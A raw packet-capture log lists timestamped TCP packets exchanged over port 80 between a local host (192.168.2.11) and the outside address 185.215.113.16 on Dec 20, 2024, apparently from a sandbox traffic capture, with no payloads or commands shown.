Dec 20, 2024 16:20:31.241569042 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.338443041 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.338592052 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.338783026 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.339255095 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.339268923 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.339308977 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.340609074 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.340648890 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.340688944 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.342055082 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.342217922 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.342267036 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.343209028 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.343221903 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.343337059 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.345242023 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.345724106 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.345782995 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.346822023 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.346988916 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.347047091 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.348372936 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.349087000 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.349111080 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.349123001 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.349162102 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.349185944 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.350159883 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.350291014 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.350382090 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.351587057 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.351835966 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.351888895 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.353069067 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.353209019 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.353260994 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.354435921 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.354686975 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.354764938 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.355837107 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.356018066 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.356070995 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.357355118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.357568026 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.357625961 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.358623028 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.362359047 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.362371922 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.362389088 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.362440109 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.362440109 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.362705946 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.362719059 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.362766981 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.363951921 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.365111113 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.365128994 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.365176916 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.366539955 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.366615057 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.366672039 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.366684914 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.366755962 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.367749929 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.367944956 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.368021965 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.369064093 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.369081974 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.369153976 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.370366096 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.370723009 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.370798111 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.371891975 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.372211933 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.372267962 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.373034954 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.373393059 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.373442888 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.374248981 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.374403000 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.374444008 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.375554085 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.375874043 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.375919104 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.376753092 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.377232075 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.377327919 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.378212929 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.378674030 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.378760099 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.379610062 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.379925013 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.379976034 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.381346941 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.381975889 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.382050991 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.382133961 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.382750034 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.382800102 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.383411884 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.383497953 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.383547068 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.384654045 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.384974003 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.385024071 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.386197090 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.386353016 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.386396885 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.387204885 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.388309002 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.388350964 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.388812065 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.388824940 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.388885021 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.390055895 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.390068054 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.390106916 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.391343117 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.391844988 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.391899109 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.392617941 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.392959118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.392998934 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.393870115 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.394196033 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.394246101 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.395364046 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.395411015 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.395461082 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.396612883 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.396626949 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.396680117 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.398047924 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.398067951 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.398118019 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.398696899 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.398710012 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.398761034 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.399333954 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.399449110 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.399501085 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.402627945 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.402642012 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.402694941 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.403389931 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.403403997 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.403459072 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.404520035 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.404827118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.404879093 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.405755043 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.405910015 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.405956030 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.406924009 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.407299042 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.407350063 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.408411980 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.408587933 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.408643961 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.409054995 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.462548971 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.529762983 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.529933929 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.530026913 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.530399084 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.530411959 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.530483961 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.531379938 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.531578064 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.531670094 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.533436060 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.533863068 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.533920050 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.535336018 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.536076069 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.536130905 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.536305904 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.536319017 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.536365032 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.537278891 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.537662983 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.537700891 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.537935019 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.538141012 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.538213015 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.538923979 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.538991928 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.539098024 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.540087938 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.540118933 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.540173054 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.540328026 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.540466070 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.540503025 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.541192055 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.541650057 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.541713953 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.543164968 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.543335915 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.543400049 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.544097900 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.545181036 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.545295954 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.545309067 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.545310020 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.545399904 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.546119928 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.546459913 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.546540022 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.547152996 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.547235012 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.547293901 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.548027039 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.549135923 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.549151897 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.549204111 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.549258947 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.549312115 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.550157070 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.550435066 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.550504923 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.551152945 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.551292896 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.551373005 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.552231073 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.552337885 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.552390099 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.553356886 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.553623915 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.553736925 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.554449081 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.554841042 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.554924965 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.555883884 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.556190014 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.556298018 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.556740046 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.556907892 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.556988001 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.557887077 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.558069944 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.558113098 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.558890104 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.559060097 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.559118986 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.560143948 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.560239077 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.560321093 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.561116934 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.561363935 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.561414957 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.562143087 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.562419891 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.562496901 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.563350916 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.563518047 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.563569069 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.564359903 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.564770937 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.564826012 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.565532923 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.565754890 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.565814018 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.566732883 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.567420006 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.567495108 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.567751884 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.567914009 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.567977905 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.568835974 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.569077015 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.569133043 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.570147991 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.570301056 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.570359945 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.570981026 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.571146011 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.571190119 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.572165012 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.572360992 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.572447062 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.573179007 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.573357105 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.573415041 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.574295998 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.574417114 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.574455976 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.575455904 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.575697899 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.575773001 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.576519012 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.576973915 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.577028990 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.577606916 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.578172922 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.578221083 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.578860998 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.579288006 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.579341888 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.580786943 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.580934048 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.580976963 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.580988884 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.581001997 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.581054926 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.582238913 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.582844973 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.582942009 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.583111048 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.583585978 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.583718061 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.584203959 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.584779978 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.584826946 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.585355997 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.585370064 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.585417986 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.586533070 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.586790085 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.586855888 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.587455988 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.634382010 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.721611977 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.721759081 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.721893072 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.722327948 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.722490072 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.722637892 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.723206043 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.723295927 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.723341942 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.724308968 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.724580050 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.724656105 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.725431919 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.725888014 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.725938082 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:31.726737022 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:31.726872921 CET	80	49717	185.215.113.16	192.168.2.11
